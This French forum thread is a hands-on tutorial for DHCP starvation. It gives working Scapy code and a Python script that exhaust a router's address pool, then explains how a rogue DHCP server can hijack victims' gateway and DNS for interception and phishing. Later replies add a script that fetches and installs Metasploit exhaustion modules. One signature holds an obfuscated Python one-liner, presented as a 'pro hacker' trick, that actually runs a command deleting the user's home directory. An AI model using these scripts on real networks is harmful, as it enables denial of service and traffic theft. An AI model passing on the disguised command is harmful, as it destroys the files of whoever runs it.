Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 27-08-2011 22:23:06

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

DHCP Starvation : une attaque intéressante

Je vais vous présenter ici une attaque originale, appelée DHCP starvation ou DHCP exhaustion. Un peu de théorie puis je vous montre comment ça marche en pratique smile

Commençons par rappeler le principe du DHCP. Le DHCP c'est le système qui gère l'attribution des IP (dynamiques) sur un réseau. Si on prend l'exemple d'un réseau local (LAN), quand une nouvelle machine arrive elle demande une adresse IP, et le routeur répond en lui en attribuant une.

img2.gif

Le truc, c'est que le serveur DHCP dispose d'un certain nombre d'adresses à distribuer (typiquement 253). Que se passerait-il si quelqu'un de mal intentionné réservait l'ensemble de toutes les adresses disponibles ? Exactement, un bon vieux DoS (Denial Of Service), toute nouvelle machine qui demanderait une IP ne pourrait pas en recevoir => "Connectivité limitée ou inexistante" smile

Lancer cette attaque sur un réseau LAN n'est pas très difficile, voici un exemple avec Scapy :

[email protected]:~# scapy
Welcome to Scapy (2.1.0)
>>> conf.checkIPaddr = False
>>> dhcp_discover =  Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
>>> sendp(dhcp_discover,loop=1)

[Testé et approuvé sous BT5R1-KDE-32, source --> DHCP Denial of Service with scapy]

Vous allez voir des tas de petits points, qui prouvent que l'attaque est en marche. On peut d'ailleurs le constater en ouvrant une autre console et en tapant la commande suivante :

tcpdump -n -e -i eth0 port 68
#Adaptez l'interface !

On peut voir toutes les requêtes émises par l'attaquant, avec des adresses MAC aléatoires. Ca ne traîne pas, au bout de 30 secondes de bombardement le DHCP est noyé (vérifié sur un WRT54G avec firmware Linksys d'origine). Combien de temps durerait le coma ? Ca dépend des routeurs, mais généralement tant que l'attaque tourne le DHCP est out wink

Bon, on s'est bien marré, c'est le souk sur le réseau (du moins pour les nouveaux arrivants, les machines déjà connectées ne remarquent rien), un bon vieux DoS hooligan Style !
Là où ça devient drôle et intéressant, c'est que si on regarde le diagramme ci-dessus, tout le trafic DHCP se fait en broadcast. Ca veut dire que tout le monde reçoit les requêtes, et que tout le monde peut répondre. Imaginons maintenant que la même personne mal intentionnée décide de monter un serveur DHCP sur sa machine... Il va pouvoir répondre à la place du serveur légitime (qui est de toute façon dans les choux), et pouvoir attribuer une IP aux machines qui le demandent...
Grandeur d'âme, qui rend l'attaque inutile en remplaçant ce qu'on a cassé ? Pas vraiment, en fait. Parce que le DHCP, en plus de donner une IP aux clients qui le demandent, indique également quelle passerelle et quel serveur DNS lesdits clients doivent utiliser. Voilà donc un moyen subtil de forcer une machine à utiliser une certaine passerelle (au hasard : la machine attaquante pour intercepter tout le trafic) et un certain serveur DNS (qui peut être sur le net : redirection de trafic, phishing et autres joyeusetés) smile

Voilà donc une attaque qui permet de réaliser un MITM de façon (un peu) plus discrète que le classique ARP poisoning en spécifiant la machine d'attaque comme passerelle ou serveur DNS. Un utilisateur lambda, tant qu'il reçoit une IP, ne se posera pas de question wink

Pour ce qui est de la configuration du serveur DHCP sur la machine d'attaque, rien de nouveau sous le soleil on peut reprendre tout ce qui a déjà été dit dans le cadre des Rogue AP. mais si vous êtes sages, je détaillerai cette partie dans ce topic un peu plus tard.

Bon amusement ! smile

PS : Pour ceux qui veulent la version en script (n'oubliez pas de le rendre exécutable !)

#!/usr/bin/python
from scapy.all import *
conf.checkIPaddr = False
dhcp_discover =  Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
sendp(dhcp_discover,loop=1)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 27-08-2011 22:53:44

Skeunk
Membre d'Or
Lieu : Chez Baby Fark McGee-zax
Inscription : 16-06-2011
Messages : 342

Re : DHCP Starvation : une attaque intéressante

Très intéressant.. à tester ! big_smile


"Nulla è reale, tutto è lecito. Requiescat in pace"

Hors Ligne

#3 27-08-2011 23:04:46

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 316

Re : DHCP Starvation : une attaque intéressante

Ohoh je sens que ma freebox va deguster a mon retour big_smile

Voilà donc une attaque qui permet de réaliser un MITM de façon (un peu) plus discrète que le classique ARP poisoning en spécifiant la machine d'attaque comme passerelle ou serveur DNS. Un utilisateur lambda, tant qu'il reçoit une IP, ne se posera pas de question

Tu peux egalement le faire avec hostapd mais je pense que tu le sais roll

Hors Ligne

#4 27-08-2011 23:29:02

Sephiron
Membre Indéboulonnable
Lieu : 127.0.0.1
Inscription : 27-08-2011
Messages : 123

Re : DHCP Starvation : une attaque intéressante

Je me tate à tester avant d'aller dormir ... smile

C'est vrai que c'est quand même logique, mais j'y avais même pas songé !


Sous BT5-R1-GNOME-32bits

Hors Ligne

#5 27-08-2011 23:47:12

noireaude
Membre d'honneur
Lieu : Chez le docteur
Inscription : 12-03-2010
Messages : 2 362
Site Web

Re : DHCP Starvation : une attaque intéressante

En gros si j'ai bien compris on peut assimiler cela à la manière dont on va chopper une station après avoir effectué une désauth (on va répondre en premier) ?
Et que ce passe il au niveau des machines déjà présentes sur le réseau ? Elle sont déconnectées aussi ?
Je ne peux pas tenter ce soir mais je vais peut être essayer demain, ça a l'air sympa ce truc smile.


L’écureuil conserve les noisettes par instinct et non par représentation, sans cela il aurait déjà bâti des congélateurs à noisettes. Karl Marx : 1818 - 1883

Ma seule certitude est d'être dans le doute. Pierre Desproges : 1939 - 1988  @lavachelibre

Hors Ligne

#6 27-08-2011 23:52:10

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : DHCP Starvation : une attaque intéressante

@koala : oui, on peut faire de même avec hostapd ou airbase-ng, dans le cas d'un réseau sans fil. Ici ça fonctionne également pour un réseau câblé (le premier qui me fait ça sur le réseau de la fac... [small]je le comprendrais mais je ne peux pas cautionner[/small])

@Sephiron : j'y avais jamais pensé non plus, jusqu'à ce que je tombe là dessus par hasard, mais c'est vrai que dans un sens c'est "logique" (et original)

@Noireuade : on répond en premier, et on est même le seul à répondre puisque le seul autre serveur DHCP est en train de se prendre des coups de latte dans un coin. Pour les machines déjà présentes sur le réseau, il ne se passe rien puisqu'elles ont déjà leur adresse IP (plus de trafic DHCP). Par contre si elles se font kicker (déauthentifier...) du réseau et qu'elles redemandent une IP, là... big_smile

Hors Ligne

#7 28-08-2011 00:09:57

vances1
Membre Indispensable
Inscription : 20-03-2011
Messages : 530
Site Web

Re : DHCP Starvation : une attaque intéressante

@Noireuade : on répond en premier, et on est même le seul à répondre puisque le seul autre serveur DHCP est en train de se prendre des coups de latte dans un coin.

^^ bien joué

C'est étonnant qu'il n'y est pas de protection à ce niveau là, j'aurais pensé que le DHCP aurait jetter la connection entrante puisqu'elle le sature ....

EDIT

Ca veux dire qu'une carte reseaux "défaillante" peux faire tomber tout un reseau

Dernière modification par vances1 (28-08-2011 01:59:54)


Gagner de l'argent en Bourse https://www.youtube.com/watch?v=mq96BGWfE4U
Travailler à domicile Sondage rémunéré http://www.avis-sondages.fr/
Méthode et solution pour gagner de l'argent sur internet http://www.methodeargent.net/

Hors Ligne

#8 28-08-2011 01:39:48

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : DHCP Starvation : une attaque intéressante

Merci Antares145 wink je savais que ça exister une telle attaque mais je me suis jamais intéressé, la flème big_smile, mais avec tes explications redoutables, on assimile ça toute suite, merci encore. On va désormais penser à faire des tutos sur les attaques réseau, il y en a plein et le forum en manque beaucoup.

Hors Ligne

#9 28-08-2011 02:16:36

Skeunk
Membre d'Or
Lieu : Chez Baby Fark McGee-zax
Inscription : 16-06-2011
Messages : 342

Re : DHCP Starvation : une attaque intéressante

Testé et approuvé sur BT4-R2 ! wink


"Nulla è reale, tutto è lecito. Requiescat in pace"

Hors Ligne

#10 28-08-2011 09:51:29

Sephiron
Membre Indéboulonnable
Lieu : 127.0.0.1
Inscription : 27-08-2011
Messages : 123

Re : DHCP Starvation : une attaque intéressante

Moi j'ai juste un petit problème, quand je lance le script, ça marche mais au début j'ai un "WARNING: No route found for IPv6 destination :: (no default route?)"
Est-ce que ça pose un problème ? Je crois pas me souvenir que j'utilise des adresses IPV6, moi c'est du IPV4 ...


Sous BT5-R1-GNOME-32bits

Hors Ligne

#11 28-08-2011 10:07:12

faptiem
Membre Indéboulonnable
Inscription : 29-04-2010
Messages : 127

Re : DHCP Starvation : une attaque intéressante

Très intéressant ! Merci Antares, j'ai bien ris à la première partie (c'est vraiment du DDoS à l'ancienne mais fallait y penser effectivement) et la 2e partie laisse ouverte une porte vers un bon gros MITM..
A tester et automatiser à l'occasion..

Hors Ligne

#12 28-08-2011 11:31:44

M1ck3y
Administrateur
Lieu : Lost in the darkness
Inscription : 14-02-2008
Messages : 6 362

Re : DHCP Starvation : une attaque intéressante

Simple et néanmoins redoutablement efficace, c'est de la bonne attaque big_smile

Hors Ligne

#13 28-08-2011 15:03:48

Skeunk
Membre d'Or
Lieu : Chez Baby Fark McGee-zax
Inscription : 16-06-2011
Messages : 342

Re : DHCP Starvation : une attaque intéressante

Sephiron a écrit :

Moi j'ai juste un petit problème, quand je lance le script, ça marche mais au début j'ai un "WARNING: No route found for IPv6 destination :: (no default route?)"
Est-ce que ça pose un problème ? Je crois pas me souvenir que j'utilise des adresses IPV6, moi c'est du IPV4 ...

J'ai la même chose chez moi :

[email protected]:~# scapy
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.1.0)
>>>

Mais ca fonctionne bien quand même!


"Nulla è reale, tutto è lecito. Requiescat in pace"

Hors Ligne

#14 28-08-2011 15:31:14

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : DHCP Starvation : une attaque intéressante

Exact, je l'ai aussi, mais c'est sans importance puisque l'attaque est conçue pour un réseau en IPv4 (l'adaptation en IPv6 est laissée au soin du lecteur).

Si ça vous pose un problème fondamental, vous pouvez exécuter le script (cfr. PS) de cette façon :

./attack.py 2> /dev/null

(qui renvoie tous les messages d'erreur vers NULL big_smile "Si tu ne vois pas de problème c'est qu'il n'y a pas de problème !" *)

Plus sérieusement, il semble possible de désactiver les WARNING's de scapy, mais je n'ai pas réussi chez moi (sans doute un conflit de versions sur BackTrack) hmm

@faptiem : c'est un DoS et pas un DDoS puisqu'il n'est pas distribué (une seule machine d'attaque) wink Pour ce qui est de l'automatisation, il n'est pas exclu que je fasse un tool complet qui intègre le serveur DHCP configuré comme il faut, je verrai si j'ai le temps et le courage...

[small]* http://danstonchat.com/1944.html[/small]

Hors Ligne

#15 28-08-2011 17:03:20

Grand Hibou
Membre d'honneur
Inscription : 08-06-2008
Messages : 1 280

Re : DHCP Starvation : une attaque intéressante

hé hé, intéressant!
merci ami Antares smile


Un virus est un programme nocif.
Il est petit, rapide, prend peu de place en mémoire et sait se faire discret.

Windows n'est donc pas un virus, c'est un bug!

Hors Ligne

#16 28-08-2011 17:32:00

Master-one
Membre Indétronable
Inscription : 10-07-2011
Messages : 165

Re : DHCP Starvation : une attaque intéressante

c'est intéressant , mais j'ai une question le fait d’établir un dénie service en locale  lance des requête au machine connecter sur l'infrastructure  , et donc la tienne aussi ? donc au faite tu te fais un dos sur toi même aussi ?

sauf si évidement se n'est pas ton réseaux ...

Dernière modification par Master-one (28-08-2011 17:35:39)


935761signiature.jpg

Hors Ligne

#17 28-08-2011 17:41:32

Skeunk
Membre d'Or
Lieu : Chez Baby Fark McGee-zax
Inscription : 16-06-2011
Messages : 342

Re : DHCP Starvation : une attaque intéressante

Non, les machines qui sont déja connectées au réseau ne sont pas touchées.


"Nulla è reale, tutto è lecito. Requiescat in pace"

Hors Ligne

#18 28-08-2011 20:25:01

faptiem
Membre Indéboulonnable
Inscription : 29-04-2010
Messages : 127

Re : DHCP Starvation : une attaque intéressante

Oui pour le D en trop c'était un abus de language ahah et le message d'erreur concernant l'IPv6 doit être simplement lié au fait que vous êtes sur un réseau local adressé en IPv4.. Who cares ?
Et pour l'automatisation à la limite je peux te filer un coup de main ça peut être intéressant.

Hors Ligne

#19 01-09-2011 14:59:56

Jack Sparrow
Membre Indéboulonnable
Inscription : 04-12-2010
Messages : 101

Re : DHCP Starvation : une attaque intéressante

Très intéressant!! Merci antares!  smile Je vais tester ça dès que j'ai deux minutes! wink

Hors Ligne

#20 26-12-2012 20:17:44

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : DHCP Starvation : une attaque intéressante

Voici l'équivalent de l'attaque en module Metasploit, sauf que ce module n'est pas dans dépôts Subversion pour la mise à jour car il a été développé indépendamment par DigiNinja et donc il faut aller chercher le script chez lui:
--> Download both modules [digininja.org]
Et comment configurer les options --> Metasploit DNS and DHCP Exhaustion [digininja.org]

Cependant, il y a un problème c'est pour ça que je crée ce message, suivez attentivement:

Le module en question une fois téléchargé est un répertoire nommé "msf_dhcp_dns_1.0" et dans celui-ci deux autres répertoires "lib" et "modules".

- Le répertoire "lib" contient à son tour un répertoire "DHCP" et un fichier en Ruby, le "DHCP" comporte d'autres fichiers en Ruby.

- Le répertoire "modules" renferme un répertoire "auxiliary" ensuite "digininja" et dans celui-ci deux rep. "dhcp_exhausion" et "dns-mitm" et les deux contiennent des fichiers en Ruby.

Pour intégrer tout ça dans Metasploit, Il faut se rendre dans le dossier OPT et au sein de MSF3 vous allez trouver la même configuration: il faut mettre le contenu du répertoire "lib" dans le répertoire "lib" de Metasploit.

Et pour ce qui de "module" il faut prendre uniquement à partir de "digininja" et le mettre dans "module\auxiliary" de Metasploit.

Pourtant si on charge le module et bien :

msf > use auxiliary/digininja/dhcp_exhaustion/exhaust
[-] Failed to load module: auxiliary/digininja/dhcp_exhaustion/exhaust

on voit bien que l'emplacement est exact, je remets, remplace, c'est merdique hmm les droits sont juste, j'ai même ajouté une exécution. Essayez de votre coté.

-rwxr-xr-x 1 root root 4737 2010-05-02 21:47 exhaust.rb

Hors Ligne

#21 26-12-2012 22:08:42

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : DHCP Starvation : une attaque intéressante

Salut ! smile

L'erreur apparaît au lancement de msfconsole :

[-] WARNING! The following modules could not be loaded!
[-]     /opt/metasploit/msf3/modules/auxiliary/digininja/dhcp_exhaustion/dhcp_exhaustion.rb: LoadError no such file to load -- lib/dhcp

La faute à Digininja qui n'a pas respecté la structure du framework (ou à l'équipe de Metasploit qui l'a changée entretemps, va savoir).

Toujours est-il que les dépendances ne sont pas au bon endroit. c'est facile à régler :
- tu ouvres le fichier dhcp_exhaustion.rb (celui du module, donc)
- et dans le haut (chez moi c'est à la ligne 11) tu remplaces require 'lib/dhcp' par require 'dhcp'
- tu peux maintenant relancer msfconsole, le module sera chargé proprement smile
En fait, Metasploit part du principe qu'on démarre dans lib/, donc s'il cherche lib/lib/dhcp il est pas près de le trouver...

Pour ceux qui voudraient tout automatiser dans un script :

#!/bin/bash

cd /tmp/
mkdir msf3
wget http://www.digininja.org/files/msf_dhcp_dns_1.0.tar.bz2
tar -C msf3/ -xf msf_dhcp_dns_1.0.tar.bz2
sed -i 's/lib\/dhcp/dhcp/g' msf3/modules/auxiliary/digininja/dhcp_exhaustion/exhaust.rb
cp msf3/* /opt/metasploit/msf3/

Note que j'ai gardé la hiérarchie de l'archive (sans virer le dossier "digininja"), mais ça ne change rien pour l'exécution du module. Il suffit simplement de l'invoquer avec son chemin complet :

msf > use auxiliary/digininja/dhcp_exhaustion/dhcp_exhaustion

(la touche [TAB] est ton amie pour compléter le chemin dans Metasploit wink)

Dernière modification par antares145 (26-12-2012 22:09:41)

Hors Ligne

#22 26-12-2012 23:19:44

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : DHCP Starvation : une attaque intéressante

Ça me rapelle des mecs du CCC qui avaient présenté une attaque du genre sur les BTS du GSM.


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#23 27-12-2012 04:27:28

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : DHCP Starvation : une attaque intéressante

Impeccable big_smile

Hors Ligne

#24 28-12-2012 17:47:37

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : DHCP Starvation : une attaque intéressante

C'est plutôt très intéressant cette petite méthode.
Couplée à une série de déauth pour que les victimes connectées aient à demander une nouvelle IP (et donc basculer sur le DHPC pirate) c'est mortellement efficace.

J'essaie ça ce soir :-)


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#25 06-02-2013 14:51:56

goliate
Membre Irremplaçable
Inscription : 06-12-2009
Messages : 1 413
Site Web

Re : DHCP Starvation : une attaque intéressante

Je me demande comment j'ai put passera coter de ce poste si lontemps, en tout cas merci sa va me remettre dans le bain ^^.


só deus podem me julgar
719895banniere3.gif
só deus podem me julgar

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.043 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]